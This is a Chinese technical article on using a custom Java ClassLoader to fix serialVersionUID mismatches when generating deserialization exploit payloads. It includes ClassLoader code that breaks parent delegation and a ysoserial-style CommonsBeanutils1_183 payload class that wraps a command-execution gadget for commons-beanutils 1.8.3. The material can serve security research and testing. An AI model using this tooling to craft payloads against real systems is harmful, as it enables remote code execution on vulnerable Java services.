使用自定义ClassLoader解决反序列化serialVesionUID不一致问题
字数 1295 2025-08-10 08:29:04
使用自定义ClassLoader解决Java反序列化serialVersionUID不一致问题
问题背景
在Java反序列化漏洞利用中,serialVersionUID不一致导致反序列化失败是一个常见问题。当攻击者构造的payload与目标环境中对应类的serialVersionUID不匹配时,反序列化过程会失败。
现有解决方案及其局限性
方案1:修改序列化byte数据
- 能力:解决序列化最终数据的serialVersionUID不一致
- 缺陷:无法解决Object的serialVersionUID不一致
方案2:反射修改serialVersionUID
- 能力:可以修改Object的属性
- 缺陷:无法解决Gadget依赖的class没有serialVersionUID属性的情况(反射只能修改属性,不能添加)
方案3:修改Class字节码,添加或修改serialVersionUID
- 能力:解决Gadget直接依赖Class的serialVersionUID不一致问题
- 缺陷:难以解决Gadget间接依赖class存在serialVersionUID不一致的情况
方案4:Hook ObjectStreamClass.getSerialVersionUID()
- 能力:修改所有参与序列化Class的serialVersionUID返回值
- 缺陷:无法解决Gadget依赖jar版本之间class差异较大(属性类型不同)的情况
方案5:URLClassLoader
- 能力:动态引入依赖jar
- 缺陷:
- 不方便隔离依赖(双亲委派模式可能导致父ClassLoader中的同名Class覆盖)
- 不方便共享依赖
- 不方便添加Class到ClassLoader中(只能添加jar)
自定义ClassLoader解决方案
核心设计原则
- 改双亲委派为当前ClassLoader优先,方便隔离不一致jar并共享可共用jar
- 方便添加Class和Jar到ClassLoader中
实现细节
1. 类成员变量
private Map<String, byte[]> classByteMap = new HashMap<String, byte[]>();
2. addClass方法
public void addClass(String className, byte[] classByte) {
classByteMap.put(className, classByte);
}
3. addJar方法
private void readJar(JarFile jar) throws IOException {
Enumeration<JarEntry> en = jar.entries();
while (en.hasMoreElements()) {
JarEntry je = en.nextElement();
String name = je.getName();
if (name.endsWith(".class")) {
String clss = name.replace(".class", "").replaceAll("/", ".");
if (this.findLoadedClass(clss) != null) continue;
InputStream input = jar.getInputStream(je);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int bufferSize = 4096;
byte[] buffer = new byte[bufferSize];
int bytesNumRead = 0;
while ((bytesNumRead = input.read(buffer)) != -1) {
baos.write(buffer, 0, bytesNumRead);
}
byte[] cc = baos.toByteArray();
input.close();
classByteMap.put(clss, cc);
}
}
}
4. 重写loadClass方法(打破双亲委派)
@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
// 1. 检测自定ClassLoader缓存中有没有
Class clazz = cacheClass.get(name);
if (null != clazz) {
return clazz;
}
try {
// 2. 从当前ClassLoader可加载的所有Class中找
clazz = findClass(name);
if (null != clazz) {
cacheClass.put(name, clazz);
} else {
clazz = super.loadClass(name, resolve);
}
} catch (ClassNotFoundException ex) {
// 3. 当自定义ClassLoader中没有找到目标class,走双亲委派模式
clazz = super.loadClass(name, resolve);
}
if (resolve) {
resolveClass(clazz);
}
return clazz;
}
}
5. 实现findClass方法
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] result = classByteMap.get(name);
if (result == null) {
throw new ClassNotFoundException();
} else {
return defineClass(name, result, 0, result.length);
}
}
实际应用示例(CommonsBeanutils1_183)
@Dependencies({
"commons-beanutils:commons-beanutils:1.8.3",
"commons-collections:commons-collections:3.1",
"commons-logging:commons-logging:1.2"
})
@Authors({ Authors.FROHOFF, Authors.CONY1 })
public class CommonsBeanutils1_183 extends Object implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
// 创建自定义ClassLoader对象
SuidClassLoader suidClassLoader = new SuidClassLoader();
// 将Gadget class添加到自定义ClassLoader中
suidClassLoader.addClass(CommonsBeanutils1.class.getName(), classAsBytes(CommonsBeanutils1.class));
// 从资源目录读取commons-beanutils-1.8.3.jar的base64数据
InputStream is = CommonsBeanutils1_183.class.getClassLoader()
.getResourceAsStream("commons-beanutils-1.8.3.txt");
byte[] jarBytes = new BASE64Decoder().decodeBuffer(CommonUtil.readStringFromInputStream(is));
// 将Gadget不一致jar添加到自定义ClassLoader中
suidClassLoader.addJar(jarBytes);
Class clsGadget = suidClassLoader.loadClass("ysoserial.payloads.CommonsBeanutils1");
// 验证关键类是否由自定义ClassLoader加载
if (BeanComparator.class.getClassLoader().equals(suidClassLoader)) {
// 使用自定义ClassLoader加载的Gadget class创建对象
Object objGadget = clsGadget.newInstance();
Method getObject = objGadget.getClass().getDeclaredMethod("getObject", String.class);
Object objPayload = getObject.invoke(objGadget, command);
suidClassLoader.cleanLoader();
return objPayload;
} else {
System.out.println("Class is not SuidClassLoader loading, serialization failure!");
return null;
}
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1_183.class, args);
}
}
关键验证点
在实现自定义ClassLoader解决方案时,必须验证关键类是否确实由自定义ClassLoader加载:
if (BeanComparator.class.getClassLoader().equals(suidClassLoader)) {
// 继续执行payload生成
} else {
// 处理失败情况
}
优势总结
- 完美隔离:可以隔离存在serialVersionUID不一致问题的jar
- 依赖共享:通过双亲委派机制共享可共用的jar
- 灵活性:可以方便地添加单个Class或整个jar
- 通用性:适用于各种gadget,不受限于特定反序列化链
注意事项
- 需要确保关键类确实由自定义ClassLoader加载
- 使用完毕后应及时清理ClassLoader资源
- 对于复杂的依赖关系,需要仔细分析哪些jar需要隔离,哪些可以共享